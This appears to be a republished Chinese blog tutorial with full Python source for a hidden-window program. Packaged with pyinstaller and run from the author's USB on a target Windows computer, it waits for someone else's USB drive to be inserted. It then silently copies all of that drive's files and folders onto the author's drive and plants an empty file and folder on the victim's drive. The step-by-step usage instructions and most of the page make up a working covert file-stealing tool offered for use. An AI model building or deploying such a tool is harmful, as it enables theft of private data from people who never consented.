Python 獲取插入電腦的usb上所有資源


使用方法及注意事項

注意事項:

  • 首先用 pyinstaller 對源文件進行打包至您的usb
  • pyinstaller -F -w 源文件
  • -w 表示運行時不彈出窗口(隱藏)

使用方法:

  1. 修改源文件的部分參數
  2. 用 pyinstaller 對源文件進行打包至您的usb
  3. 在您的usb上創建一個文件夾並將您的usb上所有內容拖進去(新建文件夾名要在源文件中修改,便於判斷)
  4. 將您的usb提前插入目標電腦(windows有效)
  5. 在您的usb中啟動pyinstaller 打包的源文件即可

 

原理:

  • 原理非常簡單,掃描硬盤,檢測是否有新的usb插入,如果有,獲取相應的資源

 

我定義的函數(方法)相應解釋:

  • obtain_usb():  # 獲取雙方usb盤符(拷貝和被拷貝的對象)
  • judge()   # 判斷文件和文件夾
  •    copy_rest_file()      # 復制文件
  •    copy_folder()      # 復制文件夾
  •    establish():      # 為了防止出現異常,在復制文件時先創建一個空目錄和空文件

 

接下來是源代碼:

需要修改的地方:

  1. 第7行 類屬性 my_folder 為您的文件夾名字(在雙引號內替換成您的文件夾名即可)
  2. 第 106行 改變復制模式(可選)
  3. 第107行 變得友好一些(......)

 

  1 import os
  2 import time
  3 import shutil
  4 import psutil
  5 
  6 class Block_rose(object):
  7     my_folder = "打倒PDD"
  8 
  9     #目標usb 盤符
 10     usb_DC = ""
 11 
 12     # 將拷貝的文件放入的目錄
 13     data_bank = ""
 14 
 15     # 目標文件
 16     file = []
 17 
 18     #目標文件夾
 19     folder = []
 20 
 21     def __init__(self):
 22         data_count = len(psutil.disk_partitions())
 23         while True:
 24             time.sleep(2)
 25             t = len(psutil.disk_partitions())
 26             if t == data_count + 1:
 27                 break
 28 
 29     def obtain_usb(self):
 30         temp1 = list(psutil.disk_partitions()[-1])[0] + "\\"
 31         temp2 = list(psutil.disk_partitions()[-2])[0] + "\\"
 32         if os.path.exists(temp1 + self.my_folder):
 33             self.data_bank = temp1
 34             self.usb_DC = temp2
 35         else:
 36             self.data_bank = temp2
 37             self.usb_DC = temp1
 38 
 39     def copy_file(self):
 40         self.copy_rest_file()
 41         self.copy_folder()
 42 
 43     def judge(self):
 44         file_list = os.listdir(self.usb_DC)
 45         for iters in file_list:
 46             if "." in iters:
 47                 self.file.append(iters)
 48             else:
 49                 self.folder.append(iters)
 50 
 51     def copy_folder(self):
 52         for iters in self.folder:
 53             shutil.copytree(self.usb_DC + iters,self.data_bank + iters)
 54 
 55     def copy_rest_file(self):
 56         for iters in self.file:
 57             shutil.copy(self.usb_DC + iters, self.data_bank + iters)
 58 
 59     def establish(self):
 60         try:
 61             os.mkdir(self.usb_DC + "text")
 62         except:
 63             pass
 64         f = open(self.usb_DC + "電子應用.txt","w")
 65         f.close()
 66 
 67     # 拷貝文件和文件夾
 68     def main(self):
 69         # 1 獲取雙方usb盤符(拷貝和被拷貝的對象)
 70         self.obtain_usb()
 71         self.establish()
 72 
 73         # 2 判斷文件和文件夾
 74         self.judge()
 75 
 76         # 3 開始拷貝文件和文件夾
 77         self.copy_file()
 78 
 79     # 只拷貝文件夾
 80     def main_folder(self):
 81         # 1 獲取雙方usb盤符(拷貝和被拷貝的對象)
 82         self.obtain_usb()
 83         self.establish()
 84 
 85         # 2 判斷文件和文件夾
 86         self.judge()
 87 
 88         # 3 開始拷貝文件夾
 89         self.copy_folder()
 90 
 91     # 只拷貝文件
 92     def main_file(self):
 93         # 1 獲取雙方usb盤符(拷貝和被拷貝的對象)
 94         self.obtain_usb()
 95         self.establish()
 96 
 97         # 2 判斷文件和文件夾
 98         self.judge()
 99 
100         # 3 開始拷貝文件
101         self.copy_rest_file()
102 
103 
104 if __name__ == '__main__':
105     block_rose = Block_rose()
106     cmd = "file and folder"
107     # cmd = input("Do you want to copy files or folders?  ")
108     if cmd == "file":
109         block_rose.main_file()
110     elif cmd == "folder":
111         block_rose.main_folder()
112     elif cmd == "file and folder":
113         block_rose.main()
114     else:
115         print("The instruction error you entered is wrong!  ")

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM